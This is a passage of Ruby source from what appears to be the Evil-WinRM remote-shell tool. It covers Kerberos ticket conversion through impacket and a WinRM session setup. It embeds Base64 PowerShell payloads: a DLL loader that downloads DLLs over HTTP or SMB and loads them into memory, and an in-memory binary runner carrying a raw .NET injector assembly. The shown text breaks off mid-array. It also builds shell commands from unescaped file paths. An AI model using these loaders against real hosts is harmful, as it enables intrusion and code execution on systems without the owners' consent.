return nil
|
|
end
|
|
end
|
|
|
|
# Check if a string is an IP address
|
|
def is_ip_address?(str)
|
|
# Match IPv4 address pattern
|
|
ipv4_pattern = /^(\d{1,3}\.){3}\d{1,3}$/
|
|
return true if str.match?(ipv4_pattern)
|
|
|
|
# Match IPv6 address pattern (simplified)
|
|
ipv6_pattern = /^([0-9a-fA-F]{0,4}:){2,7}[0-9a-fA-F]{0,4}$/
|
|
return true if str.match?(ipv6_pattern)
|
|
|
|
false
|
|
end
|
|
|
|
# Detect ticket file type (kirbi or ccache)
|
|
def detect_ticket_type(file_path)
|
|
# Check by extension first
|
|
ext = File.extname(file_path).downcase
|
|
return :kirbi if ext == '.kirbi'
|
|
return :ccache if ext == '.ccache'
|
|
|
|
# If no extension or unknown, try to detect by file content
|
|
# Kirbi files typically start with specific ASN.1 structures
|
|
# CCache files have a different structure
|
|
begin
|
|
first_bytes = File.binread(file_path, 4)
|
|
# Kirbi files often start with specific ASN.1 tags
|
|
# This is a heuristic - not 100% reliable but works for most cases
|
|
if first_bytes[0] == 0x76 || first_bytes[0] == 0x6a || first_bytes[0] == 0x61
|
|
return :kirbi
|
|
end
|
|
# CCache files have a different structure
|
|
return :ccache
|
|
rescue => e
|
|
# If we can't read, default to ccache
|
|
return :ccache
|
|
end
|
|
end
|
|
|
|
# Convert kirbi ticket to ccache format
|
|
def convert_kirbi_to_ccache(kirbi_path)
|
|
# Validate input file first
|
|
expanded_kirbi = File.expand_path(kirbi_path)
|
|
|
|
unless File.exist?(expanded_kirbi)
|
|
print_message("Kirbi ticket file not found: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
unless File.readable?(expanded_kirbi)
|
|
print_message("Kirbi ticket file is not readable: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
# Check if file is not empty
|
|
if File.size(expanded_kirbi) == 0
|
|
print_message("Kirbi ticket file is empty: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
# Generate output path (same directory, change extension)
|
|
output_dir = File.dirname(expanded_kirbi)
|
|
output_name = File.basename(expanded_kirbi, '.kirbi') + '.ccache'
|
|
ccache_path = File.join(output_dir, output_name)
|
|
|
|
# Try to find ticket converter (multiple possible names)
|
|
converter_names = [
|
|
'ticket_converter.py',
|
|
'impacket-ticketConverter',
|
|
'impacket-ticketConverter.py',
|
|
'ticketConverter.py',
|
|
'ticketConverter'
|
|
]
|
|
|
|
converter_paths = []
|
|
|
|
# Check in PATH for each name
|
|
converter_names.each do |name|
|
|
cmd = `which #{name} 2>/dev/null`.strip
|
|
converter_paths << cmd unless cmd.empty?
|
|
end
|
|
|
|
# Also check common installation paths
|
|
converter_names.each do |name|
|
|
converter_paths << name # Current directory
|
|
converter_paths << "/usr/local/bin/#{name}"
|
|
converter_paths << "/usr/bin/#{name}"
|
|
converter_paths << File.join(Dir.home, '.local', 'bin', name)
|
|
converter_paths << File.join(Dir.home, name)
|
|
end
|
|
|
|
# Remove duplicates and empty strings
|
|
converter_paths.uniq!
|
|
converter_paths.reject!(&:empty?)
|
|
|
|
converter_found = nil
|
|
converter_paths.each do |path|
|
|
if File.exist?(path) && File.executable?(path)
|
|
converter_found = path
|
|
break
|
|
end
|
|
end
|
|
|
|
unless converter_found
|
|
print_message("Ticket converter not found. Please install one of: ticket_converter.py, impacket-ticketConverter, or impacket-ticketConverter.py.", TYPE_ERROR, true, $logger)
|
|
print_message("Sources: https://github.com/Zer1t0/ticket_converter or https://github.com/SecureAuthCorp/impacket", TYPE_INFO, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
# Check if it's a Python script or shell script
|
|
is_python = false
|
|
begin
|
|
first_line = File.readlines(converter_found).first
|
|
if first_line
|
|
# Check for Python shebang
|
|
if first_line.match?(/^#!.*python/)
|
|
is_python = true
|
|
# Check for shell shebang (bash, sh, etc.) - if it's shell, it's not Python
|
|
elsif first_line.match?(/^#!.*\/(bin\/)?(bash|sh|zsh)/)
|
|
is_python = false
|
|
# Check extension
|
|
elsif File.extname(converter_found) == '.py'
|
|
is_python = true
|
|
end
|
|
elsif File.extname(converter_found) == '.py'
|
|
is_python = true
|
|
end
|
|
rescue => e
|
|
# If we can't read, check extension or assume it's executable and try directly
|
|
is_python = (File.extname(converter_found) == '.py')
|
|
end
|
|
|
|
if is_python
|
|
# It's a Python script, need to run with python/python3
|
|
python_cmd = nil
|
|
['python3', 'python'].each do |py|
|
|
if system("which #{py} > /dev/null 2>&1")
|
|
python_cmd = py
|
|
break
|
|
end
|
|
end
|
|
|
|
unless python_cmd
|
|
print_message("Python not found. Please install Python 3 to convert kirbi tickets.", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
cmd = "#{python_cmd} #{converter_found} #{expanded_kirbi} #{ccache_path} 2>&1"
|
|
else
|
|
# It's a shell script or executable, run it directly
|
|
cmd = "#{converter_found} #{expanded_kirbi} #{ccache_path} 2>&1"
|
|
end
|
|
|
|
# Run conversion
|
|
print_message("Converting kirbi ticket to ccache format...", TYPE_INFO, true, $logger)
|
|
result = `#{cmd}`
|
|
|
|
unless $?.success?
|
|
# Parse error output to provide a clearer message
|
|
error_lines = result.split("\n")
|
|
|
|
# Check for common Python errors
|
|
if result.include?('ModuleNotFoundError') || result.include?('No module named')
|
|
module_match = result.match(/No module named ['"]([^'"]+)['"]/)
|
|
module_name = module_match ? module_match[1] : 'unknown'
|
|
if module_name == 'impacket'
|
|
print_message("The ticket converter requires impacket module which is not installed.", TYPE_ERROR, true, $logger)
|
|
print_message("Please install it with: pip3 install impacket", TYPE_INFO, true, $logger)
|
|
custom_exit(1, false)
|
|
else
|
|
print_message("The ticket converter requires Python module '#{module_name}' which is not installed.", TYPE_ERROR, true, $logger)
|
|
print_message("Please install required dependencies.", TYPE_INFO, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
elsif result.include?('ImportError')
|
|
print_message("The ticket converter has import errors. Please ensure all required Python dependencies are installed.", TYPE_ERROR, true, $logger)
|
|
print_message("For impacket scripts, run: pip3 install impacket", TYPE_INFO, true, $logger)
|
|
custom_exit(1, false)
|
|
elsif result.include?('Permission denied') || result.match?(/permission denied/i)
|
|
print_message("Permission denied when executing ticket converter. Please check file permissions: #{converter_found}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
else
|
|
# Extract the most relevant error message (usually the last non-empty line)
|
|
error_msg = error_lines.reverse.find { |line| !line.strip.empty? && !line.strip.match?(/^Traceback|File "/) }
|
|
error_msg ||= error_lines.last || result.strip
|
|
error_msg = error_msg.strip
|
|
|
|
# Limit error message length
|
|
error_msg = error_msg[0..200] + '...' if error_msg.length > 200
|
|
|
|
print_message("Failed to convert kirbi to ccache using #{File.basename(converter_found)}.", TYPE_ERROR, true, $logger)
|
|
print_message("Error: #{error_msg}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
end
|
|
|
|
unless File.exist?(ccache_path)
|
|
print_message("Conversion completed but output file not found: #{ccache_path}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
print_message("[+] Successfully converted to: #{ccache_path}", TYPE_SUCCESS, true, $logger)
|
|
ccache_path
|
|
end
|
|
|
|
# Main function
|
|
def main
|
|
arguments
|
|
print_header
|
|
connection_initialization
|
|
file_manager = WinRM::FS::FileManager.new($conn)
|
|
completion_check
|
|
|
|
# Log check
|
|
print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true) unless $log.nil?
|
|
|
|
# SSL checks
|
|
check_ssl($pub_key, $priv_key)
|
|
|
|
# Kerberos checks
|
|
if !$user.nil? && !$realm.nil?
|
|
print_message('User is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
|
|
end
|
|
|
|
if !$password.nil? && !$realm.nil?
|
|
print_message('Password is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
|
|
end
|
|
|
|
if $realm.nil? && !$service.nil?
|
|
print_message('Useless spn provided, only used for Kerberos auth', TYPE_WARNING, true, $logger)
|
|
end
|
|
|
|
# Kerberos checks
|
|
if !$ccache_file.nil? && $realm.nil?
|
|
print_message("Realm (-r) is required when using ccache file (-K)", TYPE_ERROR, true, $logger)
|
|
custom_exit(1, false)
|
|
end
|
|
|
|
unless $scripts_path.nil?
|
|
check_directories($scripts_path, 'scripts')
|
|
@functions = read_scripts($scripts_path)
|
|
silent_warnings do
|
|
$LIST = $LIST + @functions
|
|
end
|
|
end
|
|
|
|
unless $executables_path.nil?
|
|
check_directories($executables_path, 'executables')
|
|
@executables = read_executables($executables_path)
|
|
end
|
|
dllloader = Base64.decode64('ZnVuY3Rpb24gRGxsLUxvYWRlciB7CiAgICBwYXJhbShbc3dpdGNoXSRzbWIsIFtzd2l0Y2hdJGxvY2FsLCBbc3dpdGNoXSRodHRwLCBbc3RyaW5nXSRwYXRoKQoKICAgICRoZWxwPUAiCi5TWU5PUFNJUwogICAgZGxsIGxvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERsbC1Mb2FkZXIKICAgIEF1dGhvcjogSGVjdG9yIGRlIEFybWFzICgzdjRTaTBOKQoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgLgouRVhBTVBMRQogICAgRGxsLUxvYWRlciAtc21iIC1wYXRoIFxcMTkyLjE2OC4xMzkuMTMyXFxzaGFyZVxcbXlEbGwuZGxsCiAgICBEbGwtTG9hZGVyIC1sb2NhbCAtcGF0aCBDOlxVc2Vyc1xQZXBpdG9cRGVza3RvcFxteURsbC5kbGwKICAgIERsbC1Mb2FkZXIgLWh0dHAgLXBhdGggaHR0cDovL2V4YW1wbGUuY29tL215RGxsLmRsbAoKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBsb2FkcyBhbiBhcmJpdHJhcnkgZGxsCiJACgogICAgaWYgKCgkc21iIC1lcSAkZmFsc2UgLWFuZCAkbG9jYWwgLWVxICRmYWxzZSAtYW5kICRodHRwIC1lcSAkZmFsc2UpIC1vciAoJHBhdGggLWVxICIiIC1vciAkcGF0aCAtZXEgJG51bGwpKQogICAgewogICAgICAgIHdyaXRlLWhvc3QgIiRoZWxwYG4iCiAgICB9CiAgICBlbHNlCiAgICB7CgogICAgICAgIGlmICgkaHR0cCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBieSBIVFRQIgogICAgICAgICAgICAkd2ViY2xpZW50ID0gW05ldC5XZWJDbGllbnRdOjpuZXcoKQogICAgICAgICAgICAkZGxsID0gJHdlYmNsaWVudC5Eb3dubG9hZERhdGEoJHBhdGgpCiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGlmKCRzbWIpeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgYnkgU01CIiB9CiAgICAgICAgICAgIGVsc2UgeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgbG9jYWxseSIgfQoKICAgICAgICAgICAgJGRsbCA9IFtTeXN0ZW0uSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkcGF0aCkKICAgICAgICB9CiAgICAgICAgCgogICAgICAgIGlmICgkZGxsIC1uZSAkbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBMb2FkaW5nIGRsbC4uLiIKICAgICAgICAgICAgJGFzc2VtYmx5X2xvYWRlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGRsbCkKICAgICAgICAgICAgJG9iaiA9ICgoJGFzc2VtYmx5X2xvYWRlZC5HZXRFeHBvcnRlZFR5cGVzKCkgfCBTZWxlY3QtT2JqZWN0IERlY2xhcmVkTWV0aG9kcyApLkRlY2xhcmVkTWV0aG9kcyB8IFdoZXJlLU9iamVjdCB7JF8uaXNwdWJsaWMgLWVxICR0cnVlfSB8IFNlbGVjdC1PYmplY3QgRGVjbGFyaW5nVHlwZSxuYW1lIC1VbmlxdWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKQogICAgICAgICAgICBbYXJyYXldJG1ldGhvZHMgPSBmb3JlYWNoICgkYXNzZW1ibHlwcm9wZXJ0aWVzIGluICRvYmopIHsgJG5hbWVzcGFjZSA9ICRhc3NlbWJseXByb3BlcnRpZXMuRGVjbGFyaW5nVHlwZS50b3N0cmluZygpOyAkbWV0b2RvID0gJGFzc2VtYmx5cHJvcGVydGllcy5uYW1lLnRvc3RyaW5nKCk7ICJbIiArICRuYW1lc3BhY2UgKyAiXSIgKyAiOjoiICsgJG1ldG9kbyArICIoKSIgfQogICAgICAgICAgICAkbWV0aG9kcyA9ICRtZXRob2RzIHwgU2VsZWN0LU9iamVjdCAtVW5pcXVlIDsgJGdsb2JhbDpzaG93bWV0aG9kcyA9ICAgKCRtZXRob2RzfCB3aGVyZSB7ICRnbG9iYWw6c2hvd21ldGhvZHMgIC1ub3Rjb250YWlucyAkX30pIHwgZm9yZWFjaCB7IiRfYG4ifQogICAgICAgICAgICAKICAgICAgICB9CiAgICB9Cn0=')
|
|
invokeBin = Base64.decode64('function Invoke-Binary {param($arg)
    $help=@"
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.


"@
if ($arg -eq $null) {$help} else {
[Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 245, 182, 231, 92, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 33, 11, 1, 11, 0, 0, 10, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 41, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 41, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 212, 39, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 100, 9, 0, 0, 0, 32, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 40, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 196, 32, 0, 0, 16, 7, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 6, 0, 104, 0, 0, 0, 1, 0, 0, 17, 0, 115, 15, 0, 0, 10, 10, 6, 40, 16, 0, 0, 10, 0, 6, 40, 17, 0, 0, 10, 0, 2, 22, 154, 111, 18, 0, 0, 10, 11, 7, 40, 19, 0, 0, 10, 12, 8, 40, 20, 0, 0, 10, 13, 9, 111, 21, 0, 0, 10, 19, 4, 17, 4, 20, 23, 141, 1, 0, 0, 1, 19, 7, 17, 7, 22, 2, 23, 40, 1, 0, 0, 43, 40, 2, 0, 0, 43, 162, 17, 7, 111, 24, 0, 0, 10, 38, 6, 111, 18, 0, 0, 10, 19, 5, 17, 5, 19, 6, 43, 0, 17, 6, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 56, 2, 0, 0, 35, 126, 0, 0, 164, 2, 0, 0, 68, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 232, 5, 0, 0, 8, 0, 0, 0, 35, 85, 83, 0, 240, 5, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 0, 6, 0, 0, 16, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 71, 21, 2, 0, 9, 8, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 24, 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 55, 0, 48, 0, 6, 0, 101, 0, 75, 0, 6, 0, 150, 0, 132, 0, 6, 0, 173, 0, 132, 0, 6, 0, 202, 0, 132, 0, 6, 0, 233, 0, 132, 0, 6, 0, 2, 1, 132, 0, 6, 0, 27, 1, 132, 0, 6, 0, 54, 1, 132, 0, 6, 0, 81, 1, 132, 0, 6, 0, 137, 1, 106, 1, 6, 0, 157, 1, 132, 0, 6, 0, 201, 1, 182, 1, 55, 0, 221, 1, 0, 0, 6, 0, 12, 2, 236, 1, 6, 0, 44, 2, 236, 1, 6, 0, 92, 2, 82, 2, 6, 0, 105, 2, 48, 0, 6, 0, 113, 2, 82, 2, 6, 0, 149, 2, 48, 0, 6, 0, 174, 2, 132, 0, 6, 0, 188, 2, 132, 0, 10, 0, 238, 2, 226, 2, 6, 0, 20, 3, 249, 2, 6, 0, 47, 3, 132, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 129, 1, 16, 0, 22, 0, 31, 0, 5, 0, 1, 0, 1, 0, 80, 32, 0, 0, 0, 0, 150, 0, 62, 0, 10, 0, 1, 0, 0, 0, 1, 0, 70, 0, 17, 0, 126, 0, 16, 0, 25, 0, 126, 0, 16, 0, 33, 0, 126, 0, 16, 0, 41, 0, 126, 0, 16, 0, 49, 0, 126, 0, 16, 0, 57, 0, 126, 0, 16, 0, 65, 0, 126, 0, 16, 0, 73, 0, 126, 0, 16, 0, 81, 0, 126, 0, 16, 0, 89, 0, 126, 0, 21, 0, 97, 0, 126, 0, 16, 0, 105, 0, 126, 0, 26, 0, 121, 0, 126, 0, 32, 0, 129, 0, 126, 0, 37, 0, 137, 0, 126, 0, 37, 0, 145, 0, 124, 2, 41, 0, 145, 0, 131, 2, 41, 0, 9, 0, 140, 2, 47, 0, 161, 0, 157, 2, 51, 0, 169, 0, 183, 2, 57, 0, 169, 0, 199, 2, 64, 0, 185, 0, 34, 3, 69, 0, 185, 0, 39, 3, 90, 0, 201, 0, 58, 3, 103, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 182, 0, 46, 0, 27, 0, 195, 0, 46, 0, 35, 0, 195, 0, 46, 0, 43, 0, 195, 0, 46, 0, 51, 0, 182, 0, 46, 0, 59, 0, 201, 0, 46, 0, 67, 0, 195, 0, 46, 0, 83, 0, 195, 0, 46, 0, 99, 0, 221, 0, 46, 0, 107, 0, 230, 0, 46, 0, 115, 0, 239, 0, 110, 0, 4, 128, 0, 0, 1, 0, 0, 0, 171, 27, 130, 72, 0, 0, 0, 0, 0, 0, 74, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 39, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 214, 2, 0, 0, 0, 0, 45, 0, 86, 0, 47, 0, 86, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 99, 97, 98, 101, 115, 104, 97, 46, 100, 108, 108, 0, 73, 110, 106, 101, 99, 116, 111, 114, 0, 67, 97, 98, 101, 115, 104, 97, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 69, 120, 101, 99, 117, 116, 101, 0, 97, 114, 103, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 46, 99, 116, 111, 114, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 99, 97, 98, 101, 115, 104, 97, 0, 83, 121, 115, 116, 101, 109, 46, 73, 79, 0, 83, 116, 114, 105, 110, 103, 87, 114, 105, 116, 101, 114, 0, 67, 111, 110, 115, 111, 108, 101, 0, 84, 101, 120, 116, 87, 114, 105, 116, 101, 114, 0, 83, 101, 116, 79, 117, 116, 0, 83, 101, 116, 69, 114, 114, 111, 114, 0, 84, 111, 83, 116, 114, 105, 110, 103, 0, 67, 111, 110, 118, 101, 114, 116, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 65, 115, 115, 101, 109, 98, 108, 121, 0, 76, 111, 97, 100, 0, 77, 101, 116, 104, 111, 100, 73, 110, 102, 111, 0, 103, 101, 116, 95, 69, 110, 116, 114, 121, 80, 111, 105, 110, 116, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 114, 101, 0, 83, 121, 115, 116, 101, 109, 46, 76, 105, 110, 113, 0, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 0, 73, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 96, 49, 0, 83, 107, 105, 112, 0, 84, 111, 65, 114, 114, 97, 121, 0, 77, 101, 116, 104, 111, 100, 66, 97, 115, 101, 0, 73, 110, 118, 111, 107, 101, 0, 0, 0, 0, 0, 3, 32, 0, 0, 0, 0, 0, 35, 181, 20, 237, 178, 22, 205, 74, 145, 95, 171, 31, 224, 251, 225, 163, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 5, 0, 1, 14, 29, 14, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 57, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 0, 1, 1, 18, 77, 3, 32, 0, 14, 5, 0, 1, 29, 5, 14, 6, 0, 1, 18, 85, 29, 5, 4, 32, 0, 18, 89, 16, 16, 1, 2, 21, 18, 97, 1, 30, 0, 21, 18, 97, 1, 30, 0, 8, 3, 10, 1, 14, 12, 16, 1, 1, 29, 30, 0, 21, 18, 97, 1, 30, 0, 6, 32, 2, 28, 28, 29, 28, 15, 7, 8, 18, 69, 14, 29, 5, 18, 85, 18, 89, 14, 14, 29, 28, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 12, 1, 0, 7, 99, 97, 98, 101, 115, 104, 97, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 245, 182, 231, 92, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 240, 39, 0, 0, 240, 9, 0, 0, 82, 83, 68, 83, 181, 15, 159, 8, 211, 235, 197, 72, 132, 53, 87, 117, 195, 54, 153, 196, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 99, 97, 98, 101, 115, 104, 97, 